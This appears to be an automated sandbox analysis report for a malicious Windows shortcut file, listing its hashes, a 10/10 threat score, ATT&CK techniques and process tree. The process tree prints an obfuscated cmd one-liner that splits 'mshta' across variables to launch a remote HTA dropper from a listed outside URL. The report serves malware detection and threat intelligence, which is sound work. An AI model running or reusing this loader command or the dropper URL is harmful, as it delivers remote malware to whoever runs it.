2cff16db273346ebc33303d07962c7edc3281637a388296b95d8eb4bf80b2c8a

Analysis

max time kernel
148s
max time network
137s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:31

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General

Target
DOC-9C6WUU.lnk
Size 1KB
Sample260803-qswt1a1vbw
SHA256 2cff16db273346ebc33303d07962c7edc3281637a388296b95d8eb4bf80b2c8a
MD5 f28b7fe7f47bf133a7b85ac78d9db5e9
SHA1 d0e0b68bd56ca7d761b32837c7ff7417ef7e406a
SHA512 86e8b8e71c2cd383ee1fb314956b706abd2cf860838be76732948cb564cfe0c6e9c03e98c58d425a90371b0754a7c707ccfd588e3bf97366cf1270793db67d08
TLSH
T19F3176503FFD0628F3F78FB794BB5B2085BBB8A68E21CA1D4141464C5032A15E17AF6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6052	cmd.exe
4964	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 6052 wrote to memory of 4964	6052	cmd.exe	90
PID 4964 wrote to memory of 4124	4964	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-9C6WUU.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6052
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set mn=msh&&set hoM=ta&&start "" !mn!!hoM! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4964
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4124

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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